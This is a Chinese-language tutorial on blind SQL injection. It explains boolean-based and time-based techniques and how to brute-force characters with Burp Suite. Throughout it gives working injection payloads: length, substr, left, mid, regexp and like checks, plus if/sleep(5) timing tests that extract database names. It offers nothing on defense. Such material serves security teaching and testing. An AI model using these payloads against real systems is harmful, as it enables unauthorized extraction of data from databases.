一、什么是盲注
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。
二、盲注的分类
- 基于布尔类型的盲注
- 基于时间类型的盲注
三、利用盲注的前提条件
首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。
四、盲注的优缺点
优点:不需要显示位和出错信息。
缺点:速度慢,耗费时间长(可以用到bp等工具)。
五、基于布尔类型的盲注
1.什么情况下使用布尔类型的盲注
- 没有返回SQL执行的错误信息
- 错误与正确的输入,返回的结果只有两种
错误页面:
正确页面:
2.使用布尔类型盲注的操作步骤:
- 构造目标查询语句
- 选择拼接方式
- 构造判断表达式
- 提取数据长度
- 提取数据内容
3.布尔类型盲注的操作过程(以获取当前数据库为例)
在SQL注入过程中,由于没有显示位于报错信息,所以会用到截取字符串函数进行数据的提取,所往往需要一个一个字符去猜。
第一步:获取当前数据库的长度
payload为:lili' and length((select database()))=7--+
查看返回结果(需要自己试,也可以是用bp工具,也可以使用“>”,“<”符号):
当输入其他数字时,查看返回结果:
第二步:获取当前数据库库名(获取前三个字符,数据量太大,需要用到bp工具)
开启burp suite
payload为:lili' and substr((select database()),1,1)='a'--+
substr为截取字符串函数,第一个参数为我们的SQL语句,第二个参数1表示从第一个字符开始,第三个参数表示截取一个字符。并且该字符为a。
通过bp工具暴力破解
通过上述方法即可获得当前数据库库名。
3.2获取所有数据库库名
第一步,获取字符长度
payload为:name=lili' and length((select group_concat(schema_name)from information_schema.schemata))=1--+
开启bp
第二步,获取所有数据库库名
这边可以选择狙击手模式(sniper)也可以选择集束炸弹模式(cluster bomb),狙击手模式需要手动修改参数,集束炸弹模式对电脑配置要求比较高,此处演示集束炸弹模式
根据破解的结果可以知道相应的答案
4.使用其他函数进行布尔类型的盲注(演示获取当前数据库)
4.1 left()函数:
语法:left (string,n) string为要截取的字符串,n为长度。
payload:name=lili' and left((select database()),1)='p'--+
4.2 mid()函数:
语法:mid(string, start[, length]) column_name为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)
char(x)函数:将x的值转为所对应的字符
payload:name=lili' and mid((select database()),1,1)=char(112)--+
4.3 正则表达式 regexp :
正则表达式语法: regexp ^[a-z] 表示字符串中第一个字符是在 a-z范围内。regexp ^a 表示字符串第一个字符是a。regexp ^ab 表示字符串前两个字符是ab。
payload:name=lili' and (select database()) regexp '^p'--+
4.4 like函数:
语法:Like 'a%'表示字符串第一个字符是a。
Like 'ab%'表示字符串前两个字符是ab。
%表示为任意值
payload:name=lili' and (select database()) like 'p%'--+
4.5 if语句 :
语法:if(判断条件,正确返回的值,错误返回的值)
注意数据库中的if与后端if不一样
payload:name=lili' and 1= if(((select database())like 'p%'),1,0)--+
表示如果if语句中的第一个参数为真,则输出第一个值1,不为真输出第二个值0;
六、基于时间类型的盲注
1.何时利用时间类型的盲注:
页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。
时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。
2.时间类型盲注的注意事项
- 通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
- 为了提高效率,通常在表达式判断为真时执行延时语句。
- 时间盲注语句拼接时无特殊要求,保证语法正确即可。
3.基于时间盲注的演示
1.通过时间线判断sql语句是否执行
2.通过添加sleep函数判断:
payload:name=lili'and sleep(5)--+ 执行成功时间线为5s
payload:name=lili''and sleep(5)--+ 执行失败时间线为32ms
3.通过时间盲注获取当前数据库
第一步:
首先需要获取数据库长度
payload:name=lili'and if(length((select database()))=7,sleep(5),0)--+
根据时间线判断可知数据库的字符长度为7
第二步:
获取当前数据库的库名
payload:name=lili'and if(substr((select database()),1,1)='p',sleep(5),0)--+
根据时间线判断当前数据库的库名的第一个符为‘p’
也可以使用上边布尔类型盲注的其他函数执行。
版权归原作者 一句话木马 所有, 如有侵权,请联系我们删除。